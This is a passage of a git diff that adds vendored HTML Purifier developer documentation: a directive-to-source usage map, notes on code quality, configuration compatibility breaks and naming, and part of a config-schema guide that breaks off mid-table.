+ <line>315</line>
+ </file>
+ <file name="HTMLPurifier/Lexer/DirectLex.php">
+ <line>67</line>
+ <line>87</line>
+ <line>385</line>
+ </file>
+ <file name="HTMLPurifier/Strategy/RemoveForeignElements.php">
+ <line>57</line>
+ </file>
+ </directive>
+ <directive id="CSS.MaxImgLength">
+ <file name="HTMLPurifier/CSSDefinition.php">
+ <line>226</line>
+ </file>
+ </directive>
+ <directive id="CSS.Proprietary">
+ <file name="HTMLPurifier/CSSDefinition.php">
+ <line>319</line>
+ </file>
+ </directive>
+ <directive id="CSS.AllowTricky">
+ <file name="HTMLPurifier/CSSDefinition.php">
+ <line>323</line>
+ </file>
+ </directive>
+ <directive id="CSS.Trusted">
+ <file name="HTMLPurifier/CSSDefinition.php">
+ <line>327</line>
+ </file>
+ </directive>
+ <directive id="CSS.AllowImportant">
+ <file name="HTMLPurifier/CSSDefinition.php">
+ <line>331</line>
+ </file>
+ </directive>
+ <directive id="CSS.AllowedProperties">
+ <file name="HTMLPurifier/CSSDefinition.php">
+ <line>447</line>
+ </file>
+ </directive>
+ <directive id="CSS.ForbiddenProperties">
+ <file name="HTMLPurifier/CSSDefinition.php">
+ <line>463</line>
+ </file>
+ </directive>
+ <directive id="Cache.DefinitionImpl">
+ <file name="HTMLPurifier/DefinitionCacheFactory.php">
+ <line>66</line>
+ </file>
+ </directive>
+ <directive id="HTML.Doctype">
+ <file name="HTMLPurifier/DoctypeRegistry.php">
+ <line>119</line>
+ </file>
+ </directive>
+ <directive id="HTML.CustomDoctype">
+ <file name="HTMLPurifier/DoctypeRegistry.php">
+ <line>123</line>
+ </file>
+ </directive>
+ <directive id="HTML.XHTML">
+ <file name="HTMLPurifier/DoctypeRegistry.php">
+ <line>128</line>
+ </file>
+ </directive>
+ <directive id="HTML.Strict">
+ <file name="HTMLPurifier/DoctypeRegistry.php">
+ <line>133</line>
+ </file>
+ </directive>
+ <directive id="Core.Encoding">
+ <file name="HTMLPurifier/Encoder.php">
+ <line>374</line>
+ <line>422</line>
+ </file>
+ </directive>
+ <directive id="Test.ForceNoIconv">
+ <file name="HTMLPurifier/Encoder.php">
+ <line>382</line>
+ <line>433</line>
+ </file>
+ </directive>
+ <directive id="Core.EscapeNonASCIICharacters">
+ <file name="HTMLPurifier/Encoder.php">
+ <line>423</line>
+ </file>
+ </directive>
+ <directive id="Output.CommentScriptContents">
+ <file name="HTMLPurifier/Generator.php">
+ <line>70</line>
+ </file>
+ </directive>
+ <directive id="Output.FixInnerHTML">
+ <file name="HTMLPurifier/Generator.php">
+ <line>71</line>
+ </file>
+ </directive>
+ <directive id="Output.SortAttr">
+ <file name="HTMLPurifier/Generator.php">
+ <line>72</line>
+ </file>
+ </directive>
+ <directive id="Output.FlashCompat">
+ <file name="HTMLPurifier/Generator.php">
+ <line>73</line>
+ </file>
+ </directive>
+ <directive id="Output.TidyFormat">
+ <file name="HTMLPurifier/Generator.php">
+ <line>104</line>
+ </file>
+ </directive>
+ <directive id="Core.NormalizeNewlines">
+ <file name="HTMLPurifier/Generator.php">
+ <line>122</line>
+ </file>
+ <file name="HTMLPurifier/Lexer.php">
+ <line>297</line>
+ </file>
+ </directive>
+ <directive id="Output.Newline">
+ <file name="HTMLPurifier/Generator.php">
+ <line>123</line>
+ </file>
+ </directive>
+ <directive id="HTML.BlockWrapper">
+ <file name="HTMLPurifier/HTMLDefinition.php">
+ <line>263</line>
+ </file>
+ </directive>
+ <directive id="HTML.Parent">
+ <file name="HTMLPurifier/HTMLDefinition.php">
+ <line>273</line>
+ </file>
+ </directive>
+ <directive id="HTML.AllowedElements">
+ <file name="HTMLPurifier/HTMLDefinition.php">
+ <line>291</line>
+ </file>
+ </directive>
+ <directive id="HTML.AllowedAttributes">
+ <file name="HTMLPurifier/HTMLDefinition.php">
+ <line>292</line>
+ </file>
+ </directive>
+ <directive id="HTML.Allowed">
+ <file name="HTMLPurifier/HTMLDefinition.php">
+ <line>295</line>
+ </file>
+ </directive>
+ <directive id="HTML.ForbiddenElements">
+ <file name="HTMLPurifier/HTMLDefinition.php">
+ <line>399</line>
+ </file>
+ </directive>
+ <directive id="HTML.ForbiddenAttributes">
+ <file name="HTMLPurifier/HTMLDefinition.php">
+ <line>400</line>
+ </file>
+ </directive>
+ <directive id="HTML.Trusted">
+ <file name="HTMLPurifier/HTMLModuleManager.php">
+ <line>234</line>
+ </file>
+ <file name="HTMLPurifier/Lexer.php">
+ <line>302</line>
+ </file>
+ <file name="HTMLPurifier/HTMLModule/Image.php">
+ <line>37</line>
+ </file>
+ <file name="HTMLPurifier/Lexer/DirectLex.php">
+ <line>47</line>
+ </file>
+ <file name="HTMLPurifier/Strategy/RemoveForeignElements.php">
+ <line>30</line>
+ </file>
+ </directive>
+ <directive id="HTML.AllowedModules">
+ <file name="HTMLPurifier/HTMLModuleManager.php">
+ <line>241</line>
+ </file>
+ </directive>
+ <directive id="HTML.CoreModules">
+ <file name="HTMLPurifier/HTMLModuleManager.php">
+ <line>242</line>
+ </file>
+ </directive>
+ <directive id="HTML.Proprietary">
+ <file name="HTMLPurifier/HTMLModuleManager.php">
+ <line>256</line>
+ </file>
+ </directive>
+ <directive id="HTML.SafeObject">
+ <file name="HTMLPurifier/HTMLModuleManager.php">
+ <line>259</line>
+ </file>
+ </directive>
+ <directive id="HTML.SafeEmbed">
+ <file name="HTMLPurifier/HTMLModuleManager.php">
+ <line>262</line>
+ </file>
+ </directive>
+ <directive id="HTML.SafeScripting">
+ <file name="HTMLPurifier/HTMLModuleManager.php">
+ <line>265</line>
+ </file>
+ <file name="HTMLPurifier/HTMLModule/SafeScripting.php">
+ <line>22</line>
+ </file>
+ </directive>
+ <directive id="HTML.Nofollow">
+ <file name="HTMLPurifier/HTMLModuleManager.php">
+ <line>268</line>
+ </file>
+ </directive>
+ <directive id="HTML.TargetBlank">
+ <file name="HTMLPurifier/HTMLModuleManager.php">
+ <line>271</line>
+ </file>
+ </directive>
+ <directive id="Attr.IDBlacklist">
+ <file name="HTMLPurifier/IDAccumulator.php">
+ <line>27</line>
+ </file>
+ </directive>
+ <directive id="Core.Language">
+ <file name="HTMLPurifier/LanguageFactory.php">
+ <line>93</line>
+ </file>
+ </directive>
+ <directive id="Core.LexerImpl">
+ <file name="HTMLPurifier/Lexer.php">
+ <line>80</line>
+ </file>
+ </directive>
+ <directive id="Core.MaintainLineNumbers">
+ <file name="HTMLPurifier/Lexer.php">
+ <line>84</line>
+ </file>
+ <file name="HTMLPurifier/Lexer/DirectLex.php">
+ <line>62</line>
+ </file>
+ </directive>
+ <directive id="Core.ConvertDocumentToFragment">
+ <file name="HTMLPurifier/Lexer.php">
+ <line>313</line>
+ </file>
+ </directive>
+ <directive id="Core.RemoveProcessingInstructions">
+ <file name="HTMLPurifier/Lexer.php">
+ <line>334</line>
+ </file>
+ </directive>
+ <directive id="URI.">
+ <file name="HTMLPurifier/URIDefinition.php">
+ <line>65</line>
+ </file>
+ <file name="HTMLPurifier/URIFilter/Munge.php">
+ <line>46</line>
+ </file>
+ </directive>
+ <directive id="URI.Host">
+ <file name="HTMLPurifier/URIDefinition.php">
+ <line>76</line>
+ </file>
+ <file name="HTMLPurifier/URIScheme.php">
+ <line>89</line>
+ </file>
+ </directive>
+ <directive id="URI.Base">
+ <file name="HTMLPurifier/URIDefinition.php">
+ <line>77</line>
+ </file>
+ </directive>
+ <directive id="URI.DefaultScheme">
+ <file name="HTMLPurifier/URIDefinition.php">
+ <line>84</line>
+ </file>
+ </directive>
+ <directive id="URI.AllowedSchemes">
+ <file name="HTMLPurifier/URISchemeRegistry.php">
+ <line>48</line>
+ </file>
+ </directive>
+ <directive id="URI.OverrideAllowedSchemes">
+ <file name="HTMLPurifier/URISchemeRegistry.php">
+ <line>49</line>
+ </file>
+ </directive>
+ <directive id="URI.Disable">
+ <file name="HTMLPurifier/AttrDef/URI.php">
+ <line>47</line>
+ </file>
+ </directive>
+ <directive id="Core.ColorKeywords">
+ <file name="HTMLPurifier/AttrDef/CSS/Color.php">
+ <line>19</line>
+ </file>
+ <file name="HTMLPurifier/AttrDef/HTML/Color.php">
+ <line>19</line>
+ </file>
+ </directive>
+ <directive id="CSS.AllowedFonts">
+ <file name="HTMLPurifier/AttrDef/CSS/FontFamily.php">
+ <line>64</line>
+ </file>
+ </directive>
+ <directive id="Attr.AllowedClasses">
+ <file name="HTMLPurifier/AttrDef/HTML/Class.php">
+ <line>33</line>
+ </file>
+ </directive>
+ <directive id="Attr.ForbiddenClasses">
+ <file name="HTMLPurifier/AttrDef/HTML/Class.php">
+ <line>34</line>
+ </file>
+ </directive>
+ <directive id="Attr.AllowedFrameTargets">
+ <file name="HTMLPurifier/AttrDef/HTML/FrameTarget.php">
+ <line>32</line>
+ </file>
+ </directive>
+ <directive id="Attr.EnableID">
+ <file name="HTMLPurifier/AttrDef/HTML/ID.php">
+ <line>41</line>
+ </file>
+ </directive>
+ <directive id="Attr.IDPrefix">
+ <file name="HTMLPurifier/AttrDef/HTML/ID.php">
+ <line>51</line>
+ </file>
+ </directive>
+ <directive id="Attr.IDPrefixLocal">
+ <file name="HTMLPurifier/AttrDef/HTML/ID.php">
+ <line>53</line>
+ <line>58</line>
+ </file>
+ </directive>
+ <directive id="Attr.IDBlacklistRegexp">
+ <file name="HTMLPurifier/AttrDef/HTML/ID.php">
+ <line>89</line>
+ </file>
+ </directive>
+ <directive id="Attr.">
+ <file name="HTMLPurifier/AttrDef/HTML/LinkTypes.php">
+ <line>46</line>
+ </file>
+ </directive>
+ <directive id="Core.AllowHostnameUnderscore">
+ <file name="HTMLPurifier/AttrDef/URI/Host.php">
+ <line>77</line>
+ </file>
+ </directive>
+ <directive id="Core.EnableIDNA">
+ <file name="HTMLPurifier/AttrDef/URI/Host.php">
+ <line>96</line>
+ </file>
+ </directive>
+ <directive id="Attr.DefaultTextDir">
+ <file name="HTMLPurifier/AttrTransform/BdoDir.php">
+ <line>22</line>
+ </file>
+ </directive>
+ <directive id="Core.RemoveInvalidImg">
+ <file name="HTMLPurifier/AttrTransform/ImgRequired.php">
+ <line>24</line>
+ </file>
+ <file name="HTMLPurifier/Strategy/RemoveForeignElements.php">
+ <line>27</line>
+ </file>
+ </directive>
+ <directive id="Attr.DefaultInvalidImage">
+ <file name="HTMLPurifier/AttrTransform/ImgRequired.php">
+ <line>27</line>
+ </file>
+ </directive>
+ <directive id="Attr.DefaultImageAlt">
+ <file name="HTMLPurifier/AttrTransform/ImgRequired.php">
+ <line>33</line>
+ </file>
+ </directive>
+ <directive id="Attr.DefaultInvalidImageAlt">
+ <file name="HTMLPurifier/AttrTransform/ImgRequired.php">
+ <line>41</line>
+ </file>
+ </directive>
+ <directive id="HTML.Attr.Name.UseCDATA">
+ <file name="HTMLPurifier/AttrTransform/Name.php">
+ <line>18</line>
+ </file>
+ <file name="HTMLPurifier/HTMLModule/Name.php">
+ <line>19</line>
+ </file>
+ </directive>
+ <directive id="HTML.FlashAllowFullScreen">
+ <file name="HTMLPurifier/AttrTransform/SafeParam.php">
+ <line>53</line>
+ </file>
+ </directive>
+ <directive id="Cache.SerializerPath">
+ <file name="HTMLPurifier/DefinitionCache/Serializer.php">
+ <line>171</line>
+ </file>
+ </directive>
+ <directive id="Cache.SerializerPermissions">
+ <file name="HTMLPurifier/DefinitionCache/Serializer.php">
+ <line>188</line>
+ <line>206</line>
+ </file>
+ </directive>
+ <directive id="Filter.ExtractStyleBlocks.TidyImpl">
+ <file name="HTMLPurifier/Filter/ExtractStyleBlocks.php">
+ <line>94</line>
+ </file>
+ </directive>
+ <directive id="Filter.ExtractStyleBlocks.Scope">
+ <file name="HTMLPurifier/Filter/ExtractStyleBlocks.php">
+ <line>122</line>
+ </file>
+ </directive>
+ <directive id="Filter.ExtractStyleBlocks.Escaping">
+ <file name="HTMLPurifier/Filter/ExtractStyleBlocks.php">
+ <line>327</line>
+ </file>
+ </directive>
+ <directive id="HTML.SafeIframe">
+ <file name="HTMLPurifier/HTMLModule/Iframe.php">
+ <line>28</line>
+ </file>
+ <file name="HTMLPurifier/URIFilter/SafeIframe.php">
+ <line>48</line>
+ </file>
+ </directive>
+ <directive id="HTML.MaxImgLength">
+ <file name="HTMLPurifier/HTMLModule/Image.php">
+ <line>21</line>
+ </file>
+ <file name="HTMLPurifier/HTMLModule/SafeEmbed.php">
+ <line>18</line>
+ </file>
+ <file name="HTMLPurifier/HTMLModule/SafeObject.php">
+ <line>24</line>
+ </file>
+ </directive>
+ <directive id="HTML.TidyLevel">
+ <file name="HTMLPurifier/HTMLModule/Tidy.php">
+ <line>50</line>
+ </file>
+ </directive>
+ <directive id="HTML.TidyAdd">
+ <file name="HTMLPurifier/HTMLModule/Tidy.php">
+ <line>54</line>
+ </file>
+ </directive>
+ <directive id="HTML.TidyRemove">
+ <file name="HTMLPurifier/HTMLModule/Tidy.php">
+ <line>55</line>
+ </file>
+ </directive>
+ <directive id="AutoFormat.PurifierLinkify.DocURL">
+ <file name="HTMLPurifier/Injector/PurifierLinkify.php">
+ <line>31</line>
+ </file>
+ </directive>
+ <directive id="AutoFormat.RemoveEmpty.RemoveNbsp">
+ <file name="HTMLPurifier/Injector/RemoveEmpty.php">
+ <line>46</line>
+ </file>
+ </directive>
+ <directive id="AutoFormat.RemoveEmpty.RemoveNbsp.Exceptions">
+ <file name="HTMLPurifier/Injector/RemoveEmpty.php">
+ <line>47</line>
+ </file>
+ </directive>
+ <directive id="Core.AggressivelyFixLt">
+ <file name="HTMLPurifier/Lexer/DOMLex.php">
+ <line>54</line>
+ </file>
+ </directive>
+ <directive id="Core.DirectLexLineNumberSyncInterval">
+ <file name="HTMLPurifier/Lexer/DirectLex.php">
+ <line>84</line>
+ </file>
+ </directive>
+ <directive id="Core.DisableExcludes">
+ <file name="HTMLPurifier/Strategy/FixNesting.php">
+ <line>54</line>
+ </file>
+ </directive>
+ <directive id="Core.EscapeInvalidTags">
+ <file name="HTMLPurifier/Strategy/MakeWellFormed.php">
+ <line>72</line>
+ </file>
+ <file name="HTMLPurifier/Strategy/RemoveForeignElements.php">
+ <line>26</line>
+ </file>
+ </directive>
+ <directive id="HTML.AllowedComments">
+ <file name="HTMLPurifier/Strategy/RemoveForeignElements.php">
+ <line>31</line>
+ </file>
+ </directive>
+ <directive id="HTML.AllowedCommentsRegexp">
+ <file name="HTMLPurifier/Strategy/RemoveForeignElements.php">
+ <line>32</line>
+ </file>
+ </directive>
+ <directive id="Core.RemoveScriptContents">
+ <file name="HTMLPurifier/Strategy/RemoveForeignElements.php">
+ <line>35</line>
+ </file>
+ </directive>
+ <directive id="Core.HiddenElements">
+ <file name="HTMLPurifier/Strategy/RemoveForeignElements.php">
+ <line>36</line>
+ </file>
+ </directive>
+ <directive id="URI.HostBlacklist">
+ <file name="HTMLPurifier/URIFilter/HostBlacklist.php">
+ <line>25</line>
+ </file>
+ </directive>
+ <directive id="URI.MungeResources">
+ <file name="HTMLPurifier/URIFilter/Munge.php">
+ <line>48</line>
+ </file>
+ </directive>
+ <directive id="URI.MungeSecretKey">
+ <file name="HTMLPurifier/URIFilter/Munge.php">
+ <line>49</line>
+ </file>
+ </directive>
+ <directive id="URI.SafeIframeRegexp">
+ <file name="HTMLPurifier/URIFilter/SafeIframe.php">
+ <line>35</line>
+ </file>
+ </directive>
+</usage>
diff --git a/vendor/ezyang/htmlpurifier/docs/dev-advanced-api.html b/vendor/ezyang/htmlpurifier/docs/dev-advanced-api.html
new file mode 100644
index 000000000..5b7aaa3c8
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/docs/dev-advanced-api.html
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+ "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head>
+<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+<meta name="description" content="Specification for HTML Purifier's advanced API for defining custom filtering behavior." />
+<link rel="stylesheet" type="text/css" href="style.css" />
+
+<title>Advanced API - HTML Purifier</title>
+
+</head><body>
+
+<h1>Advanced API</h1>
+
+<div id="filing">Filed under Development</div>
+<div id="index">Return to the <a href="index.html">index</a>.</div>
+<div id="home"><a href="http://htmlpurifier.org/">HTML Purifier</a> End-User Documentation</div>
+
+<p>
+ Please see <a href="enduser-customize.html">Customize!</a>
+</p>
+
+</body></html>
+
+<!-- vim: et sw=4 sts=4
+-->
diff --git a/vendor/ezyang/htmlpurifier/docs/dev-code-quality.txt b/vendor/ezyang/htmlpurifier/docs/dev-code-quality.txt
new file mode 100644
index 000000000..bceedebc4
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/docs/dev-code-quality.txt
@@ -0,0 +1,29 @@
+
+Code Quality Issues
+
+Okay, face it. Programmers can get lazy, cut corners, or make mistakes. They
+also can do quick prototypes, and then forget to rewrite them later. Well,
+while I can't list mistakes in here, I can list prototype-like segments
+of code that should be aggressively refactored. This does not list
+optimization issues, that needs to be done after intense profiling.
+
+docs/examples/demo.php - ad hoc HTML/PHP soup to the extreme
+
+AttrDef - a lot of duplication, more generic classes need to be created;
+a lot of strtolower() calls, no legit casing
+ Class - doesn't support Unicode characters (fringe); uses regular expressions
+ Lang - code duplication; premature optimization
+ Length - easily mistaken for CSSLength
+ URI - multiple regular expressions; missing validation for parts (?)
+ CSS - parser doesn't accept advanced CSS (fringe)
+ Number - constructor interface inconsistent with Integer
+Strategy
+ FixNesting - cannot bubble nodes out of structures, duplicated checks
+ for special-case parent node
+ RemoveForeignElements - should be run in parallel with MakeWellFormed
+URIScheme - needs to have callable generic checks
+ mailto - doesn't validate emails, doesn't validate querystring
+ news - doesn't validate opaque path
+ nntp - doesn't constrain path
+
+ vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/docs/dev-config-bcbreaks.txt b/vendor/ezyang/htmlpurifier/docs/dev-config-bcbreaks.txt
new file mode 100644
index 000000000..29a58ca2f
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/docs/dev-config-bcbreaks.txt
@@ -0,0 +1,79 @@
+
+Configuration Backwards-Compatibility Breaks
+
+In version 4.0.0, the configuration subsystem (composed of the outwards
+facing Config class, as well as the ConfigSchema and ConfigSchema_Interchange
+subsystems), was significantly revamped to make use of property lists.
+While most of the changes are internal, some internal APIs were changed for the
+sake of clarity. HTMLPurifier_Config was kept completely backwards compatible,
+although some of the functions were retrofitted with an unambiguous alternate
+syntax. Both of these changes are discussed in this document.
+
+
+
+1. Outwards Facing Changes
+--------------------------------------------------------------------------------
+
+The HTMLPurifier_Config class now takes an alternate syntax. The general rule
+is:
+
+ If you passed $namespace, $directive, pass "$namespace.$directive"
+ instead.
+
+An example:
+
+ $config->set('HTML', 'Allowed', 'p');
+
+becomes:
+
+ $config->set('HTML.Allowed', 'p');
+
+New configuration options may have more than one namespace, they might
+look something like %Filter.YouTube.Blacklist. While you could technically
+set it with ('HTML', 'YouTube.Blacklist'), the logical extension
+('HTML', 'YouTube', 'Blacklist') does not work.
+
+The old API will still work, but will emit E_USER_NOTICEs.
+
+
+
+2. Internal API Changes
+--------------------------------------------------------------------------------
+
+Some overarching notes: we've completely eliminated the notion of namespace;
+it's now an informal construct for organizing related configuration directives.
+
+Also, the validation routines for keys (formerly "$namespace.$directive")
+have been completely relaxed. I don't think it really should be necessary.
+
+2.1 HTMLPurifier_ConfigSchema
+
+First off, if you're interfacing with this class, you really shouldn't.
+HTMLPurifier_ConfigSchema_Builder_ConfigSchema is really the only class that
+should ever be creating HTMLPurifier_ConfigSchema, and HTMLPurifier_Config the
+only class that should be reading it.
+
+All namespace related methods were removed; they are completely unnecessary
+now. Any $namespace, $name arguments must be replaced with $key (where
+$key == "$namespace.$name"), including for addAlias().
+
+The $info and $defaults member variables are no longer indexed as
+[$namespace][$name]; they are now indexed as ["$namespace.$name"].
+
+All deprecated methods were finally removed, after having yelled at you as
+an E_USER_NOTICE for a while now.
+
+2.2 HTMLPurifier_ConfigSchema_Interchange
+
+Member variable $namespaces was removed.
+
+2.3 HTMLPurifier_ConfigSchema_Interchange_Id
+
+Member variable $namespace and $directive removed; member variable $key added.
+Any method that took $namespace, $directive now takes $key.
+
+2.4 HTMLPurifier_ConfigSchema_Interchange_Namespace
+
+Removed.
+
+ vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/docs/dev-config-naming.txt b/vendor/ezyang/htmlpurifier/docs/dev-config-naming.txt
new file mode 100644
index 000000000..66db5bce3
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/docs/dev-config-naming.txt
@@ -0,0 +1,164 @@
+Configuration naming
+
+HTML Purifier 4.0.0 features a new configuration naming system that
+allows arbitrary nesting of namespaces. While there are certain cases
+in which using two namespaces is obviously better (the canonical example
+is where we were using AutoFormatParam to contain directives for AutoFormat
+parameters), it is unclear whether or not a general migration to highly
+namespaced directives is a good idea or not.
+
+== Case studies ==
+
+=== Attr.* ===
+
+We have a dead duck HTML.Attr.Name.UseCDATA which migrated before we decided
+to think this out thoroughly.
+
+We currently have a large number of directives in the Attr.* namespace.
+These directives tweak the behavior of some HTML attributes. They have
+the properties:
+
+* While they apply to only one attribute at a time, the attribute can
+ span over multiple elements (not necessarily all attributes, either).
+ The information of which elements it impacts is either omitted or
+ informally stated (EnableID applies to all elements, DefaultImageAlt
+ applies to <img> tags, AllowedRev doesn't say but only applies to a tags).
+
+* There is a certain degree of clustering that could be applied, especially
+ to the ID directives. The clustering could be done with respect to
+ what element/attribute was used, i.e.
+
+ *.id -> EnableID, IDBlacklistRegexp, IDBlacklist, IDPrefixLocal, IDPrefix
+ img.src -> DefaultInvalidImage
+ img.alt -> DefaultImageAlt, DefaultInvalidImageAlt
+ bdo.dir -> DefaultTextDir
+ a.rel -> AllowedRel
+ a.rev -> AllowedRev
+ a.target -> AllowedFrameTargets
+ a.name -> Name.UseCDATA
+
+* The directives often reference generic attribute types that were specified
+ in the DTD/specification. However, some of the behavior specifically relies
+ on the fact that other use cases of the attribute are not, at current,
+ supported by HTML Purifier.
+
+ AllowedRel, AllowedRev -> heavily <a> specific; if <link> ends up being
+ allowed, we will also have to give users specificity there (we also
+ want to preserve generality) DTD %Linktypes, HTML5 distinguishes
+ between <link> and <a>/<area>
+ AllowedFrameTargets -> heavily <a> specific, but also used by <area>
+ and <form>. Transitional DTD %FrameTarget, not present in strict,
+ HTML5 calls them "browsing contexts"
+ Default*Image* -> as a default parameter, is almost entirely exlcusive
+ to <img>
+ EnableID -> global attribute
+ Name.UseCDATA -> heavily <a> specific, but has heavy other usage by
+ many things
+
+== AutoFormat.* ==
+
+These have the fairly normal pluggable architecture that lends itself to
+large amounts of namespaces (pluggability may be the key to figuring
+out when gratuitous namespacing is good.) Properties:
+
+* Boolean directives are fair game for being namespaced: for example,
+ RemoveEmpty.RemoveNbsp triggers RemoveEmpty.RemoveNbsp.Exceptions,
+ the latter of which only makes sense when RemoveEmpty.RemoveNbsp
+ is set to true. (The same applies to RemoveNbsp too)
+
+The AutoFormat string is a bit long, but is the only bit of repeated
+context.
+
+== Core.* ==
+
+Core is the potpourri of directives, mostly regarding some minor behavioral
+tweaks for HTML handling abilities.
+
+ AggressivelyFixLt
+ ConvertDocumentToFragment
+ DirectLexLineNumberSyncInterval
+ LexerImpl
+ MaintainLineNumbers
+ Lexer
+ CollectErrors
+ Language
+ Error handling (Language is ostensibly a little more general, but
+ it's only used for error handling right now)
+ ColorKeywords
+ CSS and HTML
+ Encoding
+ EscapeNonASCIICharacters
+ Character encoding
+ EscapeInvalidChildren
+ EscapeInvalidTags
+ HiddenElements
+ RemoveInvalidImg
+ Lexing/Output
+ RemoveScriptContents
+ Deprecated
+
+== HTML.* ==
+
+ AllowedAttributes
+ AllowedElements
+ AllowedModules
+ Allowed
+ ForbiddenAttributes
+ ForbiddenElements
+ Element set tuning
+ BlockWrapper
+ Child def advanced twiddle
+ CoreModules
+ CustomDoctype
+ Advanced HTMLModuleManager twiddles
+ DefinitionID
+ DefinitionRev
+ Caching
+ Doctype
+ Parent
+ Strict
+ XHTML
+ Global environment
+ MaxImgLength
+ Attribute twiddle? (applies to two attributes)
+ Proprietary
+ SafeEmbed
+ SafeObject
+ Trusted
+ Extra functionality/tagsets
+ TidyAdd
+ TidyLevel
+ TidyRemove
+ Tidy
+
+== Output.* ==
+
+These directly affect the output of Generator. These are all advanced
+twiddles.
+
+== URI.* ==
+
+ AllowedSchemes
+ OverrideAllowedSchemes
+ Scheme tuning
+ Base
+ DefaultScheme
+ Host
+ Global environment
+ DefinitionID
+ DefinitionRev
+ Caching
+ DisableExternalResources
+ DisableExternal
+ DisableResources
+ Disable
+ Contextual/authority tuning
+ HostBlacklist
+ Authority tuning
+ MakeAbsolute
+ MungeResources
+ MungeSecretKey
+ Munge
+ Transformation behavior (munge can be grouped)
+
+
diff --git a/vendor/ezyang/htmlpurifier/docs/dev-config-schema.html b/vendor/ezyang/htmlpurifier/docs/dev-config-schema.html
new file mode 100644
index 000000000..07aecd35a
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/docs/dev-config-schema.html
@@ -0,0 +1,412 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+ "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+ <head>
+ <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+ <meta name="description" content="Describes config schema framework in HTML Purifier." />
+ <link rel="stylesheet" type="text/css" href="./style.css" />
+ <title>Config Schema - HTML Purifier</title>
+ </head>
+ <body>
+
+ <h1>Config Schema</h1>
+
+ <div id="filing">Filed under Development</div>
+ <div id="index">Return to the <a href="index.html">index</a>.</div>
+ <div id="home"><a href="http://htmlpurifier.org/">HTML Purifier</a> End-User Documentation</div>
+
+ <p>
+ HTML Purifier has a fairly complex system for configuration. Users
+ interact with a <code>HTMLPurifier_Config</code> object to
+ set configuration directives. The values they set are validated according
+ to a configuration schema, <code>HTMLPurifier_ConfigSchema</code>.
+ </p>
+
+ <p>
+ The schema is mostly transparent to end-users, but if you're doing development
+ work for HTML Purifier and need to define a new configuration directive,
+ you'll need to interact with it. We'll also talk about how to define
+ userspace configuration directives at the very end.
+ </p>
+
+ <h2>Write a directive file</h2>
+
+ <p>
+ Directive files define configuration directives to be used by
+ HTML Purifier. They are placed in <code>library/HTMLPurifier/ConfigSchema/schema/</code>
+ in the form <code><em>Namespace</em>.<em>Directive</em>.txt</code> (I
+ couldn't think of a more descriptive file extension.)
+ Directive files are actually what we call <code>StringHash</code>es,
+ i.e. associative arrays represented in a string form reminiscent of
+ <a href="http://qa.php.net/write-test.php">PHPT</a> tests. Here's a
+ sample directive file, <code>Test.Sample.txt</code>:
+ </p>
+
+ <pre>Test.Sample
+TYPE: string/null
+DEFAULT: NULL
+ALLOWED: 'foo', 'bar'
+VALUE-ALIASES: 'baz' => 'bar'
+VERSION: 3.1.0
+--DESCRIPTION--
+This is a sample configuration directive for the purposes of the
+&lt;code&gt;dev-config-schema.html&lt;code&gt; documentation.
+--ALIASES--
+Test.Example</pre>
+
+ <p>
+ Each of these segments has a specific meaning:
+ </p>
+
+ <table class="table">
+ <thead>
+ <tr>
+ <th>Key</th>
+ <th>Example</th>
+ <th>Description</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>ID</td>
+ <td>Test.Sample</td>
+ <td>The name of the directive, in the form Namespace.Directive
+ (implicitly the first line)</td>
+ </tr>
+ <tr>
+ <td>TYPE</td>
+ <td>string/null</td>
+ <td>The type of variable this directive accepts. See below for
+ details. You can also add <code>/null</code> to the end of
+ any basic type to allow null values too.</td>
+ </tr>
+ <tr>
+ <td>DEFAULT</td>
+ <td>NULL</td>
+ <td>A parseable PHP expression of the default value.</td>
+ </tr>
+ <tr>
+ <td>DESCRIPTION</td>
+ <td>This is a...</td>
+ <td>An HTML description of what this directive does.</td>
+ </tr>
+ <tr>
+ <td>VERSION</td>
+ <td>3.1.0</td>
+ <td><em>Recommended</em>. The version of HTML Purifier this directive was added.
+ Directives that have been around since 1.0.0 don't have this,
+ but any new ones should.</td>
+ </tr>
+ <tr>
+ <td>ALIASES</td>
+ <td>Test.Example</td>
+ <td><em>Optional</em>. A comma separated list of aliases for this directive.
+ This is most useful for backwards compatibility and should
+ not be used otherwise.</td>
+ </tr>
+ <tr>
+ <td>ALLOWED</td>
+ <td>'foo', 'bar'</td>
+ <td><em>Optional</em>. Set of allowed value for a directive,
+ a comma separated list of parseable PHP expressions. This
+ is only allowed string, istring, text and itext TYPEs.</td>
+ </tr>
+ <tr>
+ <td>VALUE-ALIASES</td>
+ <td>'baz' =&gt; 'bar'</td>
+ <td><em>Optional</em>. Mapping of one value to another, and
+ should be a comma separated list of keypair duples. This
+ is only allowed string, istring, text and itext TYPEs.</td>
+ </tr>
+ <tr>
+ <td>DEPRECATED-VERSION</td>
+ <td>3.1.0</td>
+ <td><em>Not shown</em>. Indicates that the directive was
+ deprecated this version.</td>
+ </tr>
+ <tr>
+ <td>DEPRECATED-USE</td>
+ <td>Test.NewDirective</td>
+ <td><em>Not shown</em>. Indicates what new directive should be
+ used instead. Note that the directives will functionally be
+ different, although they should offer the same functionality.
+ If they are identical, use an alias instead.</td>
+ </tr>
+ <tr>
+ <td>EXTERNAL</td>
+ <td>CSSTidy</td>
+ <td><em>Not shown</em>. Indicates if there is an external library
+ the user will need to download and install to use this configuration
+ directive. As of right now, this is merely a Google-able name; future
+ versions may also provide links and instructions.</td>
+ </tr>
